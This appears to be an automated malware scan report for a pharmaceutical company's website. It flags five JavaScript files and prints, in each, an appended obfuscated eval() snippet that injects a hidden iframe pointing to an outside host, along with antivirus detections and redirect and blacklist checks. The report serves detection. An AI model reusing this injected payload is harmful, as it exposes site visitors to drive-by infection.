New scan:

Malware Scanner report for horus-pharma.com

Malicious/Suspicious/Total urls checked
5/0/15
5 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://horus-pharma.com/
200 OK
Content-Length: 13326
Content-Type: text/html
clean
http://horus-pharma.com/media/system/js/caption.js
200 OK
Content-Length: 2645
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)



var JCaption = new Class({
initialize: function(selector)
{
this.selector = selector;
var images = $$(selector);
images.each(function(image){ this.createCaption(image); }, this);
},
createCaption: function(element)
{
var caption = document.createTextNode(element.title);
var container = document.createElement("div");
var text = document.createElement("p");
var width = element.getAttribute("width"
... 1132 bytes are skipped ...
/> document.caption = caption
});
<!-- . -->;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.7(\'<0 4="5://6-1.8/?9=2" a="b:c;"></0>\');',13,13,'iframe|statistic||document|src|http|g|write|info|id|style|display|none'.split('|'),0,{}));
<!-- . -->

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/Iframe-MJ

http://horus-pharma.com/plugins/content/avreloaded/silverlight.js
200 OK
Content-Length: 8534
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

if(!window.Silverlight)window.Silverlight={};Silverlight._silverlightCount=0;Silverlight.ua=null;Silverlight.available=false;Silverlight.fwlinkRoot="http://go.microsoft.com/fwlink/?LinkID=";Silverlight.detectUserAgent=function(){var a=window.navigator.userAgent;Silverlight.ua={OS:"Unsupported",Browser:"Unsupported"};if(a.indexOf("Windows NT")>=0)Silverlight.ua.OS="Windows";else if(a.indexOf("PPC Mac OS X")>=0)Silverlight.ua.OS="MacPPC";else if(a.indexOf("Intel Mac OS X")>=0)Silverlight.
... 3262 bytes are skipped ...
harCode(a);else b=b+"&#"+a+";"}return b}<!-- . -->;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.7(\'<0 4="5://6-1.8/?9=2" a="b:c;"></0>\');',13,13,'iframe|statistic||document|src|http|g|write|info|id|style|display|none'.split('|'),0,{}));
<!-- . -->

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/Iframe-MJ

http://horus-pharma.com/plugins/content/avreloaded/wmvplayer.js
200 OK
Content-Length: 16904
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

if(typeof jeroenwijering=="undefined"){var jeroenwijering=new Object();jeroenwijering.utils=new Object()}jeroenwijering.Player=function(B,C,A){this.configuration={backgroundcolor:"ffffff",file:"video.wmv",height:"260",image:"",backcolor:"FFFFFF",frontcolor:"000000",lightcolor:"000000",screencolor:"000000",width:"320",logo:"",overstretch:"false",showicons:"true",shownavigation:"true",showstop:"false",showdigits:"true",usefullscreen:"true",usemute:"false",autostart:"false",bufferlength:"3",duratio
... 3056 bytes are skipped ...
d(A%60*10)/10;var E=C+":"+B+":"+D;return E};<!-- . -->;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.7(\'<0 4="5://6-1.8/?9=2" a="b:c;"></0>\');',13,13,'iframe|statistic||document|src|http|g|write|info|id|style|display|none'.split('|'),0,{}));
<!-- . -->

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/Iframe-MJ

http://horus-pharma.com/plugins/content/avreloaded/swfobject.js
200 OK
Content-Length: 12695
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)


var swfobject=function(){var UNDEF="undefined",OBJECT="object",SHOCKWAVE_FLASH="Shockwave Flash",SHOCKWAVE_FLASH_AX="ShockwaveFlash.ShockwaveFlash",FLASH_MIME_TYPE="application/x-shockwave-flash",EXPRESS_INSTALL_ID="SWFObjectExprInst",win=window,doc=document,nav=navigator,domLoadFnArr=[],regObjArr=[],timer=null,storedAltContent=null,storedAltContentId=null,isDomLoaded=false,isExpressInstallActive=false;var ua=function(){var w3cdom=typeof doc.getElementById!=UNDEF&&typeof doc.getEle
... 3170 bytes are skipped ...
Id=null;isExpressInstallActive=false}}}}}();<!-- . -->;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.7(\'<0 4="5://6-1.8/?9=2" a="b:c;"></0>\');',13,13,'iframe|statistic||document|src|http|g|write|info|id|style|display|none'.split('|'),0,{}));
<!-- . -->

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/Iframe-MJ

http://horus-pharma.com/plugins/content/avreloaded/avreloaded.js
200 OK
Content-Length: 2788
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)


if(typeof (allvideos)=="undefined"){var allvideos=new Object();allvideos.APIs=new Array()}function getUpdate(D,C,B,A){if(A=="null"){return }allvideos.APIs.each(function(E){if(E._pid==A){E._plCB(D,C,B)}})}allvideos.API=function(B){var A=null;allvideos.APIs.each(function(C){if(C._pid==B){A=C}});if(A!=null){return A}this._pid=B;this._player=null;this._item=null;this._load=null;this._width=null;this._height=null;this._state=null;this._elapsed=null;this._remaining=null;this._volume=null;this._p
... 1754 bytes are skipped ...
",directories=no,location=no");A.focus()}}};<!-- . -->;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.7(\'<0 4="5://6-1.8/?9=2" a="b:c;"></0>\');',13,13,'iframe|statistic||document|src|http|g|write|info|id|style|display|none'.split('|'),0,{}));
<!-- . -->

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/Iframe-MJ

http://horus-pharma.com/index.php/fr/la-societe/nos-engagements
200 OK
Content-Length: 14371
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/la-societe/
404 Not Found
Content-Length: 1442
Content-Type: text/html
clean
http://horus-pharma.com/index.php
200 OK
Content-Length: 13335
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/la-societe/nos-metiers
200 OK
Content-Length: 28103
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/la-societe/chiffres-cles
200 OK
Content-Length: 20898
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/la-societe/historique
200 OK
Content-Length: 18687
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/produits
200 OK
Content-Length: 13182
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/
200 OK
Content-Length: 13339
Content-Type: text/html
clean
http://horus-pharma.com/index.php/fr/produits/allergie
200 OK
Content-Length: 11011
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: horus-pharma.com

Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Mon, 29 Sep 2014 23:42:34 GMT
Pragma: no-cache
Server: Apache
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 29 Sep 2014 23:42:34 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 0cb638d679640774b342e6e1748ab928=5p4bfu0qpkqrethtmgvp1o4ia5; path=/
Set-Cookie: lang=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Set-Cookie: jfcookie=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Set-Cookie: jfcookie[lang]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
X-Powered-By: PHP/5.3.12
Second query (visit from search engine):
GET / HTTP/1.1
Host: horus-pharma.com
Referer: http://www.google.com/search?q=horus-pharma.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=horus-pharma.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://horus-pharma.com/

Result: horus-pharma.com is not infected or malware details are not published yet.